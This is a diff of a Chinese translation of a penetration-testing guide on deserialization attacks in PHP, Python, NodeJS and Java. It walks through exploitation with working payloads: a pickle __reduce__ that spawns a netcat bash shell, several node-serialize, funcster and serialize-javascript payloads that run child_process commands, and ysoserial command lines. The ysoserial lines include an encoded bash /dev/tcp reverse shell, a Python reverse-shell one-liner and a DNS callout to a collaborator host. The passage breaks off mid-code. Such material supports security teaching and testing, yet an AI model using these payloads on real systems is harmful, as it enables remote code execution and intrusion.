您可以阅读一个解释性的 **PHP 示例**:[https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||||
|
|
||||||
### PHP反序列化 + 自动加载类
|
### PHP 反序列化 + 自动加载类
|
||||||
|
|
||||||
您可以滥用PHP的自动加载功能来加载任意的php文件和更多内容:
|
您可以滥用 PHP 的自动加载功能来加载任意 PHP 文件等:
|
||||||
|
|
||||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||||
|
@ -116,7 +117,7 @@ $this->property = $data['property'];
|
||||||
|
|
||||||
### 序列化引用值
|
### 序列化引用值
|
||||||
|
|
||||||
如果出于某种原因,您想将一个值序列化为对另一个值的引用,您可以:
|
如果出于某种原因您想将一个值序列化为 **对另一个已序列化值的引用**,您可以:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class AClass {
|
class AClass {
|
||||||
|
@ -129,16 +130,16 @@ $o->param1 =& $o->param22;
|
||||||
$o->param = "PARAM";
|
$o->param = "PARAM";
|
||||||
$ser=serialize($o);
|
$ser=serialize($o);
|
||||||
```
|
```
|
||||||
### PHPGGC(PHP的ysoserial)
|
### PHPGGC (适用于 PHP 的 ysoserial)
|
||||||
|
|
||||||
[**PHPGGC**](https://github.com/ambionics/phpggc)可以帮助您生成用于滥用PHP反序列化的有效载荷。\
|
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助您生成用于滥用 PHP 反序列化的有效载荷。\
|
||||||
请注意,在某些情况下,您**可能无法在应用程序的源代码中找到滥用反序列化的方法**,但您可能能够**滥用外部PHP扩展的代码**。\
|
请注意,在许多情况下,您**可能无法在应用程序的源代码中找到滥用反序列化的方法**,但您可能能够**滥用外部 PHP 扩展的代码。**\
|
||||||
因此,如果可以的话,请检查服务器的`phpinfo()`并在互联网上**搜索**(甚至在**PHPGGC的小工具**中)一些可能滥用的小工具。
|
因此,如果可能,请检查服务器的 `phpinfo()` 并在互联网上(甚至在 **PHPGGC** 的**小工具**中)**搜索**一些可能滥用的小工具。
|
||||||
|
|
||||||
### phar://元数据反序列化
|
### phar:// 元数据反序列化
|
||||||
|
|
||||||
如果您找到的LFI只是读取文件而不执行其中的php代码,例如使用函数如_**file\_get\_contents(),fopen(),file()或file\_exists(),md5\_file(),filemtime()或filesize()**_**。**您可以尝试滥用使用**phar**协议读取文件时发生的**反序列化**。\
|
如果您发现了一个 LFI,它只是读取文件而不执行其中的 php 代码,例如使用 _**file\_get\_contents(), fopen(), file() 或 file\_exists(), md5\_file(), filemtime() 或 filesize()**_**。** 您可以尝试滥用使用 **phar** 协议**读取** **文件**时发生的**反序列化**。\
|
||||||
有关更多信息,请阅读以下文章:
|
有关更多信息,请阅读以下帖子:
|
||||||
|
|
||||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||||||
|
@ -148,7 +149,7 @@ $ser=serialize($o);
|
||||||
|
|
||||||
### **Pickle**
|
### **Pickle**
|
||||||
|
|
||||||
当对象被反pickle时,将执行函数_\_\_reduce\_\__。\
|
当对象被 unpickle 时,函数 _\_\_reduce\_\__ 将被执行。\
|
||||||
当被利用时,服务器可能会返回错误。
|
当被利用时,服务器可能会返回错误。
|
||||||
```python
|
```python
|
||||||
import pickle, os, base64
|
import pickle, os, base64
|
||||||
|
@ -157,21 +158,21 @@ def __reduce__(self):
|
||||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||||
print(base64.b64encode(pickle.dumps(P())))
|
print(base64.b64encode(pickle.dumps(P())))
|
||||||
```
|
```
|
||||||
有关逃逸pickle jails的更多信息,请查看:
|
有关从 **pickle 监狱** 逃脱的更多信息,请查看:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Yaml和jsonpickle
|
### Yaml **和** jsonpickle
|
||||||
|
|
||||||
以下页面介绍了滥用Python库中不安全的yamls反序列化技术,并提供了一个工具,用于生成Pickle、PyYAML、jsonpickle和ruamel.yaml的RCE反序列化有效负载:
|
以下页面介绍了如何**滥用不安全的 yamls** Python 库中的反序列化技术,并以一个可以用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效载荷的工具结束:
|
||||||
|
|
||||||
{% content-ref url="python-yaml-deserialization.md" %}
|
{% content-ref url="python-yaml-deserialization.md" %}
|
||||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 类污染(Python原型污染)
|
### 类污染 (Python 原型污染)
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||||
|
@ -179,12 +180,12 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||||
|
|
||||||
## NodeJS
|
## NodeJS
|
||||||
|
|
||||||
### JS魔术函数
|
### JS 魔术函数
|
||||||
|
|
||||||
JS **没有像PHP或Python那样的"魔术"函数**,这些函数将在创建对象时执行。但它有一些**经常被使用的函数**,即使没有直接调用,比如**`toString`**、**`valueOf`**、**`toJSON`**。\
|
JS **没有像 PHP 或 Python 那样的"魔术"函数**,这些函数仅仅因为创建了一个对象就会被执行。但它有一些**函数**即使没有直接调用它们也**经常使用**,例如 **`toString`**, **`valueOf`**, **`toJSON`**。\
|
||||||
如果滥用反序列化,您可以**破坏这些函数以执行其他代码**(潜在地滥用原型污染),当调用它们时,您可以执行任意代码。
|
如果滥用反序列化,你可以**篡改这些函数以执行其他代码**(可能滥用原型污染),当它们被调用时你可以执行任意代码。
|
||||||
|
|
||||||
另一种**"魔术"调用函数的方式**是通过**破坏由异步函数返回的对象**(promise)。因为,如果您将该**返回对象**转换为另一个具有名为**"then"的类型为函数的属性**的**promise**,它将被**执行**,只因为它是由另一个promise返回的。_请点击_ [_**此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _了解更多信息。_
|
另一种**"魔术"方式调用函数**而不直接调用它是通过**篡改由异步函数**(promise)返回的对象。因为,如果你将那个**返回对象**转换成另一个带有名为**"then" 类型为函数**的**属性**的**promise**,它将会**执行**,仅仅因为它被另一个 promise 返回。_更多信息请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)。
|
||||||
```javascript
|
```javascript
|
||||||
// If you can compromise p (returned object) to be a promise
|
// If you can compromise p (returned object) to be a promise
|
||||||
// it will be executed just because it's the return object of an async function:
|
// it will be executed just because it's the return object of an async function:
|
||||||
|
@ -208,9 +209,9 @@ test_ressolve()
|
||||||
test_then()
|
test_then()
|
||||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||||
```
|
```
|
||||||
### `__proto__`和`prototype`污染
|
### `__proto__` 和 `prototype` 污染
|
||||||
|
|
||||||
如果你想了解这个技术,请参考以下教程:
|
如果你想学习这项技术**请查看以下教程**:
|
||||||
|
|
||||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||||
|
@ -218,7 +219,7 @@ test_then()
|
||||||
|
|
||||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||||
|
|
||||||
这个库允许对函数进行序列化。示例:
|
这个库允许序列化函数。例如:
|
||||||
```javascript
|
```javascript
|
||||||
var y = {
|
var y = {
|
||||||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||||||
|
@ -227,41 +228,41 @@ var serialize = require('node-serialize');
|
||||||
var payload_serialized = serialize.serialize(y);
|
var payload_serialized = serialize.serialize(y);
|
||||||
console.log("Serialized: \n" + payload_serialized);
|
console.log("Serialized: \n" + payload_serialized);
|
||||||
```
|
```
|
||||||
**序列化对象**的样子如下所示:
|
**序列化对象**将如下所示:
|
||||||
```bash
|
```bash
|
||||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||||
```
|
```
|
||||||
你可以在示例中看到,当一个函数被序列化时,`_$$ND_FUNC$$_`标志会被附加到序列化对象上。
|
您可以在示例中看到,当函数被序列化时,`_$$ND_FUNC$$_` 标志会被附加到序列化对象上。
|
||||||
|
|
||||||
在文件`node-serialize/lib/serialize.js`中,你可以找到相同的标志以及代码如何使用它。
|
在文件 `node-serialize/lib/serialize.js` 中,您可以找到相同的标志以及代码如何使用它。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (297).png>)
|
![](<../../.gitbook/assets/image (297).png>)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (298).png>)
|
![](<../../.gitbook/assets/image (298).png>)
|
||||||
|
|
||||||
正如你在最后一段代码中所看到的,**如果找到了标志**,`eval`函数将被用于反序列化函数,所以基本上**用户输入被用在了`eval`函数内部**。
|
正如您在最后一段代码中看到的,**如果找到该标志**,`eval` 将被用来反序列化函数,所以基本上 **用户输入被用在了 `eval` 函数内**。
|
||||||
|
|
||||||
然而,**仅仅序列化**一个函数**不会执行它**,因为需要代码的某个部分在我们的示例中调用`y.rce`,这是非常**不可能**的。\
|
然而,**仅仅序列化** 函数 **并不会执行它**,因为在我们的例子中,需要代码的某个部分**调用 `y.rce`**,这是极不**可能**的。\
|
||||||
无论如何,你可以**修改序列化对象**,在其中添加一些括号,以便在对象被反序列化时自动执行序列化的函数。\
|
无论如何,您可以通过**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\
|
||||||
在下一段代码中,**请注意最后的括号**以及`unserialize`函数将自动执行代码的方式:
|
在下一段代码中**注意最后的括号**,以及 `unserialize` 函数将如何自动执行代码:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('node-serialize');
|
var serialize = require('node-serialize');
|
||||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||||
serialize.unserialize(test);
|
serialize.unserialize(test);
|
||||||
```
|
```
|
||||||
如前所述,该库将获取`_$$ND_FUNC$$_`后的代码,并使用`eval`来**执行它**。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后的括号,然后像下面的示例一样**执行一个 JS 单行代码**:
|
如前所述,这个库会获取`_$$ND_FUNC$$_`后面的代码,并使用`eval`**执行它**。因此,为了**自动执行代码**,你可以**删除函数创建**部分和最后的括号,**只执行一个JS单行代码**,如下例所示:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('node-serialize');
|
var serialize = require('node-serialize');
|
||||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||||
serialize.unserialize(test);
|
serialize.unserialize(test);
|
||||||
```
|
```
|
||||||
你可以在[**这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)有关如何利用此漏洞的更多信息。
|
你可以在[**这里**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)找到**更多信息**关于如何利用这个漏洞。
|
||||||
|
|
||||||
### [funcster](https://www.npmjs.com/package/funcster)
|
### [funcster](https://www.npmjs.com/package/funcster)
|
||||||
|
|
||||||
有趣的是,这里的**标准内置对象是不可访问的**,因为它们超出了范围。这意味着我们可以执行我们的代码,但不能调用内置对象的方法。因此,如果我们使用`console.log()`或`require(something)`,Node会返回一个异常,如`"ReferenceError: console is not defined"`。
|
这里有趣的不同之处在于,**标准内置对象是无法访问的**,因为它们超出了作用域。这意味着我们可以执行我们的代码,但不能调用内置对象的方法。所以如果我们使用`console.log()`或`require(something)`,Node会返回像`"ReferenceError: console is not defined"`这样的异常。
|
||||||
|
|
||||||
然而,我们仍然可以轻松地重新获得对所有内容的访问权限,因为我们仍然可以使用类似`this.constructor.constructor("console.log(1111)")();`的方式访问全局上下文:
|
然而,我们可以很容易地重新获得对一切的访问权限,因为我们仍然可以使用类似`this.constructor.constructor("console.log(1111)")();`的方法访问全局上下文:
|
||||||
```javascript
|
```javascript
|
||||||
funcster = require("funcster");
|
funcster = require("funcster");
|
||||||
//Serialization
|
//Serialization
|
||||||
|
@ -276,17 +277,17 @@ funcster.deepDeserialize(desertest2)
|
||||||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||||
funcster.deepDeserialize(desertest3)
|
funcster.deepDeserialize(desertest3)
|
||||||
```
|
```
|
||||||
**更多信息请阅读[此页面](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)。**
|
**有关**[**更多信息,请阅读此页面**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||||
|
|
||||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||||
|
|
||||||
该软件包**不包含任何反序列化功能**,需要您自己实现。他们的示例直接使用了`eval`。这是官方的反序列化示例:
|
该包**不包含任何反序列化功能**,需要您自己实现。他们的示例直接使用了 `eval`。这是官方的反序列化示例:
|
||||||
```javascript
|
```javascript
|
||||||
function deserialize(serializedJavascript){
|
function deserialize(serializedJavascript){
|
||||||
return eval('(' + serializedJavascript + ')');
|
return eval('(' + serializedJavascript + ')');
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
如果这个函数被用于反序列化对象,你可以**轻松地利用它**:
|
如果这个函数被用来反序列化对象,你可以**轻松地利用它**:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('serialize-javascript');
|
var serialize = require('serialize-javascript');
|
||||||
//Serialization
|
//Serialization
|
||||||
|
@ -297,85 +298,85 @@ console.log(test) //function() { return "Hello world!" }
|
||||||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||||
deserialize(test)
|
deserialize(test)
|
||||||
```
|
```
|
||||||
### Cryo库
|
### Cryo 库
|
||||||
|
|
||||||
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
|
在接下来的页面中,您可以找到有关如何滥用此库执行任意命令的信息:
|
||||||
|
|
||||||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||||
|
|
||||||
## Java - HTTP
|
## Java - HTTP
|
||||||
|
|
||||||
Java中反序列化对象的主要问题是**在反序列化过程中调用了反序列化回调函数**。这使得**攻击者**能够**利用这些回调函数**并准备一个滥用回调函数以**执行恶意操作**的有效载荷。
|
Java 中反序列化对象的主要问题是**在反序列化期间调用了反序列化回调**。这使得**攻击者**可以**利用这些回调**,准备一个负载,滥用回调来**执行恶意操作**。
|
||||||
|
|
||||||
### 指纹
|
### 指纹
|
||||||
|
|
||||||
#### 白盒
|
#### 白盒
|
||||||
|
|
||||||
在代码中搜索序列化类和函数。例如,搜索实现`Serializable`接口的类,使用`java.io.ObjectInputStream`的`readObject`或`readUnshare`函数。
|
在代码中搜索序列化类和函数。例如,搜索实现了 `Serializable` 的类,使用了 `java.io.ObjectInputStream` \_\_ 或 `readObject` \_\_ 或 `readUnshare` 函数\_.\_
|
||||||
|
|
||||||
您还应该注意以下内容:
|
您还应该关注:
|
||||||
|
|
||||||
* 具有外部用户定义参数的`XMLdecoder`
|
* 带有外部用户定义参数的 `XMLdecoder`
|
||||||
* 具有`fromXML`方法的`XStream`(xstream版本<= v1.46易受序列化问题影响)
|
* 带有 `fromXML` 方法的 `XStream`(xstream 版本 <= v1.46 对序列化问题易受攻击)
|
||||||
* 具有`readObject`的`ObjectInputStream`
|
* 带有 `readObject` 的 `ObjectInputStream`
|
||||||
* 使用`readObject`,`readObjectNodData`,`readResolve`或`readExternal`
|
* 使用 `readObject`、`readObjectNodData`、`readResolve` 或 `readExternal`
|
||||||
* `ObjectInputStream.readUnshared`
|
* `ObjectInputStream.readUnshared`
|
||||||
* `Serializable`
|
* `Serializable`
|
||||||
|
|
||||||
#### 黑盒
|
#### 黑盒
|
||||||
|
|
||||||
**Java序列化**对象的**指纹/魔术字节**(来自`ObjectInputStream`):
|
**指纹/魔术字节** **java 序列化** 对象(来自 `ObjectInputStream`):
|
||||||
|
|
||||||
* 十六进制中的`AC ED 00 05`
|
* 十六进制中的 `AC ED 00 05`
|
||||||
* Base64中的`rO0`
|
* Base64 中的 `rO0`
|
||||||
* HTTP响应的`Content-type`头设置为`application/x-java-serialized-object`
|
* HTTP 响应的 `Content-type` 头设置为 `application/x-java-serialized-object`
|
||||||
* 先前压缩的十六进制中的`1F 8B 08 00`
|
* 先前压缩的十六进制 `1F 8B 08 00`
|
||||||
* 先前压缩的Base64中的`H4sIA`
|
* 先前压缩的 Base64 `H4sIA`
|
||||||
* 扩展名为`.faces`和`faces.ViewState`参数的Web文件。如果在Web应用程序中找到这个,请查看有关[**Java JSF VewState反序列化**](java-jsf-viewstate-.faces-deserialization.md)的文章。
|
* 带有扩展名 `.faces` 和参数 `faces.ViewState` 的 Web 文件。如果您在 webapp 中找到这个,请查看[**关于 Java JSF VewState 反序列化的帖子**](java-jsf-viewstate-.faces-deserialization.md)。
|
||||||
```
|
```
|
||||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||||
```
|
```
|
||||||
### 检查是否存在漏洞
|
### 检查是否存在漏洞
|
||||||
|
|
||||||
如果你想了解**Java反序列化漏洞的工作原理**,你应该查看[**基本的Java反序列化**](basic-java-deserialization-objectinputstream-readobject.md),[**Java DNS反序列化**](java-dns-deserialization-and-gadgetprobe.md),以及[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)。
|
如果您想**了解Java反序列化漏洞是如何工作的**,您应该查看[**基础Java反序列化**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS反序列化**](java-dns-deserialization-and-gadgetprobe.md)以及[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)。
|
||||||
|
|
||||||
#### 白盒测试
|
#### 白盒测试
|
||||||
|
|
||||||
你可以检查是否安装了任何已知漏洞的应用程序。
|
您可以检查是否安装了任何已知存在漏洞的应用程序。
|
||||||
```bash
|
```bash
|
||||||
find . -iname "*commons*collection*"
|
find . -iname "*commons*collection*"
|
||||||
grep -R InvokeTransformer .
|
grep -R InvokeTransformer .
|
||||||
```
|
```
|
||||||
你可以尝试**检查所有已知存在漏洞的库**,并使用[**Ysoserial**](https://github.com/frohoff/ysoserial)提供的漏洞利用来进行测试。或者你可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指定的库。\
|
你可以尝试**检查所有已知存在漏洞的库**,以及[**Ysoserial**](https://github.com/frohoff/ysoserial)能够提供漏洞利用的库。或者你可以检查在[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指出的库。
|
||||||
你还可以使用[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能被利用的gadget链。\
|
你还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能的可利用的gadget链。
|
||||||
运行**gadgetinspector**(构建后)时,不要担心它经历的大量警告/错误,并让它完成。它将把所有发现的结果写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,**gadgetinspector不会创建漏洞利用,并且可能会指示出假阳性**。
|
当运行**gadgetinspector**(构建后)时,不用担心它产生的大量警告/错误,让它运行完毕。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hour-min.txt_。请注意,**gadgetinspector不会创建漏洞利用代码,它可能会指示出假阳性**。
|
||||||
|
|
||||||
#### 黑盒测试
|
#### 黑盒测试
|
||||||
|
|
||||||
使用Burp扩展程序[gadgetprobe](java-dns-deserialization-and-gadgetprobe.md),您可以确定可用的库(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会更容易。\
|
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),你可以识别**哪些库是可用的**(甚至是版本)。有了这些信息,选择用于利用漏洞的payload可能会**更容易**。
|
||||||
[**阅读此处以了解有关GadgetProbe的更多信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
[**阅读这里了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**
|
||||||
GadgetProbe专注于**`ObjectInputStream`**反序列化。
|
GadgetProbe专注于**`ObjectInputStream`**的反序列化**。**
|
||||||
|
|
||||||
使用Burp扩展程序[Java Deserialization Scanner](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可利用ysoserial漏洞的易受攻击的库**并对其进行利用。\
|
使用Burp扩展[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),你可以**识别易受攻击的库**,这些库可以用ysoserial来**利用**。
|
||||||
[**阅读此处以了解有关Java Deserialization Scanner的更多信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
[**阅读这里了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)
|
||||||
Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
Java Deserialization Scanner专注于**`ObjectInputStream`**的反序列化。
|
||||||
|
|
||||||
您还可以使用[Freddy](https://github.com/nccgroup/freddy)在Burp中**检测反序列化漏洞**。该插件将检测与**不仅`ObjectInputStream`相关的漏洞**,还有与**Json**和**Yml**反序列化库相关的漏洞。在主动模式下,它将尝试使用sleep或DNS有效载荷来确认漏洞。\
|
你也可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。这个插件不仅会检测与**`ObjectInputStream`**相关的漏洞,还会检测来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它会尝试使用sleep或DNS payload来确认漏洞。
|
||||||
[**您可以在此处找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
[**你可以在这里找到更多关于Freddy的信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||||
|
|
||||||
**序列化测试**
|
**序列化测试**
|
||||||
|
|
||||||
并不仅仅是检查服务器是否使用了任何存在漏洞的库。有时,您可能能够**更改序列化对象中的数据并绕过某些检查**(例如,在Web应用程序中获得管理员权限)。\
|
并不是所有的检查都是关于服务器是否使用了任何存在漏洞的库。有时候,你可能能够**改变序列化对象内的数据并绕过一些检查**(可能在web应用中授予你管理员权限)。
|
||||||
如果您发现一个Java序列化对象被发送到Web应用程序,**您可以使用SerializationDumper**(https://github.com/NickstaDB/SerializationDumper)**以更易读的格式打印发送的序列化对象**。了解您发送的数据将更容易修改它并绕过某些检查。
|
如果你发现一个Java序列化对象被发送到一个web应用,**你可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**来以更易读的格式打印发送的序列化对象**。知道你发送的数据会更容易修改它并绕过一些检查。
|
||||||
|
|
||||||
### **利用**
|
### **利用**
|
||||||
|
|
||||||
#### **ysoserial**
|
#### **ysoserial**
|
||||||
|
|
||||||
最著名的利用Java反序列化的工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在此处下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),它允许您使用复杂的命令(例如使用管道)。\
|
最著名的用于利用Java反序列化的工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在这里下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。你也可以考虑使用[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified),它允许你使用复杂的命令(例如带管道的命令)。
|
||||||
请注意,此工具专注于利用**`ObjectInputStream`**。\
|
注意,这个工具**专注**于利用**`ObjectInputStream`**。
|
||||||
我建议您在使用RCE有效载荷之前,先使用"URLDNS"有效载荷来测试是否可能进行注入。无论如何,请注意可能"URLDNS"有效载荷不起作用,但其他RCE有效载荷可能起作用。
|
我会**建议先使用"URLDNS"** payload**在RCE** payload之前测试注入是否可能。无论如何,请注意,可能"URLDNS" payload不起作用,但其他RCE payload可能有效。
|
||||||
```bash
|
```bash
|
||||||
# PoC to make the application perform a DNS req
|
# PoC to make the application perform a DNS req
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||||
|
@ -416,11 +417,13 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkoc
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||||||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||||
